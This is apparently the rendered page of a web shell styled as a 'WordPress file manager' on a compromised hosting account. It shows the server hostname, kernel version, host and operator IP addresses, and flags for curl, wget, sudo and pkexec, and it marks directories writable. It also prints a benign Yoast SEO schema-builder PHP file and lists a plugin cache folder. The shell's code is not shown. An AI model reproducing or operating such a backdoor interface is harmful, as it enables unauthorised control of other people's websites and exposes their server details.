✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.223
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/cache//schema-map-builder.php
<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Schema_Aggregator\Application\Schema_Map;

use Yoast\WP\SEO\Main;
use Yoast\WP\SEO\Schema_Aggregator\Domain\Indexable_Count_Collection;
use Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Config;
use Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Schema_Map\Schema_Map_Repository_Interface;

/**
 * Builds the schema map.
 */
class Schema_Map_Builder {

	/**
	 * The schema map repository.
	 *
	 * @var Schema_Map_Repository_Interface
	 */
	private $schema_map_repository;

	/**
	 * The configuration.
	 *
	 * @var Config
	 */
	private $config;

	/**
	 * Schema_Map_Builder constructor.
	 *
	 * @param Config $config The configuration.
	 */
	public function __construct( Config $config ) {
		$this->config = $config;
	}

	/**
	 * Sets the schema map repository.
	 *
	 * @param Schema_Map_Repository_Interface $schema_map_repository The schema map repository.
	 *
	 * @return self
	 */
	public function with_repository( Schema_Map_Repository_Interface $schema_map_repository ): self {
		$this->schema_map_repository = $schema_map_repository;
		return $this;
	}

	/**
	 * Builds the schema map based on indexable counts and threshold.
	 *
	 * @param Indexable_Count_Collection $indexable_counts The indexable counts per post type.
	 *
	 * @return array<int,array<string>> The schema map.
	 */
	public function build( Indexable_Count_Collection $indexable_counts ): array {
		$schema_map = [];
		foreach ( $indexable_counts->get_indexable_counts() as $indexable_count ) {

			$post_type = $indexable_count->get_post_type();
			$count     = $indexable_count->get_count();

			$threshold = $this->config->get_per_page( $post_type );

			$total_pages = (int) \ceil( $count / $threshold );

			for ( $page = 1; $page <= $total_pages; $page++ ) {
				if ( $page === 1 && $total_pages === 1 ) {
					$url = $this->get_rest_route( $post_type );
				}
				elseif ( $page === 1 ) {
					$url = $this->get_rest_route( $post_type );
				}
				else {
					$url = $this->get_rest_route( $post_type, $page );
				}

				$lastmod = $this->schema_map_repository->get_lastmod_for_post_type( $post_type, $page, $threshold );

				$page_count = ( $page === $total_pages ) ? ( $count - ( ( $page - 1 ) * $threshold ) ) : $threshold;

				$schema_map[] = [
					'post_type' => $post_type,
					'url'       => $url,
					'lastmod'   => $lastmod,
					'count'     => $page_count,
				];
			}
		}

		return $schema_map;
	}

	/**
	 * Gets the REST route for the given post type and page.
	 *
	 * @param string $post_type The post type.
	 * @param int    $page      The page number (default is 1).
	 *
	 * @return string The REST route URL.
	 */
	public function get_rest_route( $post_type, $page = 1 ): string {
		if ( $page === 1 ) {
			return \rest_url( Main::API_V1_NAMESPACE . '/schema-aggregator/get-schema/' . $post_type );
		}
		else {
			return \rest_url( Main::API_V1_NAMESPACE . '/schema-aggregator/get-schema/' . $post_type . '/' . $page );
		}
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
23 Sep 2026 10.00 AM
docteuh / users
0777
Exception
--
13 Sep 2026 7.55 PM
docteuh / users
0755
Handler
--
19 Sep 2026 2.57 AM
docteuh / users
0755
cache
--
11 Sep 2026 12.18 PM
docteuh / users
0755
composer
--
31 Aug 2026 2.40 AM
docteuh / users
0755
default-seo-data
--
10 Sep 2026 2.01 PM
docteuh / users
0755
endpoints
--
9 Sep 2026 2.58 PM
docteuh / users
0755
fusion-builder
--
15 Sep 2026 8.07 PM
docteuh / users
0755
icomoon-admin
--
12 Sep 2026 5.33 PM
docteuh / users
0755
library
--
9 Sep 2026 1.41 PM
docteuh / users
0755
public
--
17 Sep 2026 6.51 AM
docteuh / users
0755
sensei
--
11 Sep 2026 9.04 PM
docteuh / users
0755
serverhttpxforwardedssl1
--
12 Sep 2026 3.33 AM
docteuh / users
0755
templates
--
19 Sep 2026 6.23 AM
docteuh / users
0755
third-party
--
18 Sep 2026 1.53 AM
docteuh / users
0755
user-interface
--
17 Sep 2026 2.13 PM
docteuh / users
0755
EasyHandle.php
2.94 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
Middleware.php
11.089 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
addons-20260829203316.json
131.71 KB
27 Sep 2023 12.53 AM
docteuh / users
0644
addons.json
131.71 KB
27 Sep 2023 12.53 AM
docteuh / users
0644
docs-20260830021828.json
30.034 KB
27 Sep 2023 12.53 AM
docteuh / users
0644
docs.json
30.034 KB
27 Sep 2023 12.53 AM
docteuh / users
0644
get-outline-route.php
7.272 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260827192224-20260829103225-20260831111900-20260901204506.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260827192224-20260829103225.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260827192224.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260828150339.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
index.html
0 KB
27 Sep 2023 12.53 AM
docteuh / users
0644
media-new-20260829154003.php
3.173 KB
21 May 2026 2.34 PM
docteuh / users
0644
ms-themes.php
0.212 KB
6 Feb 2020 7.33 AM
docteuh / users
0644
schema-map-builder.php
2.985 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
ssl-test-page.html
0.155 KB
18 Jun 2026 6.25 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF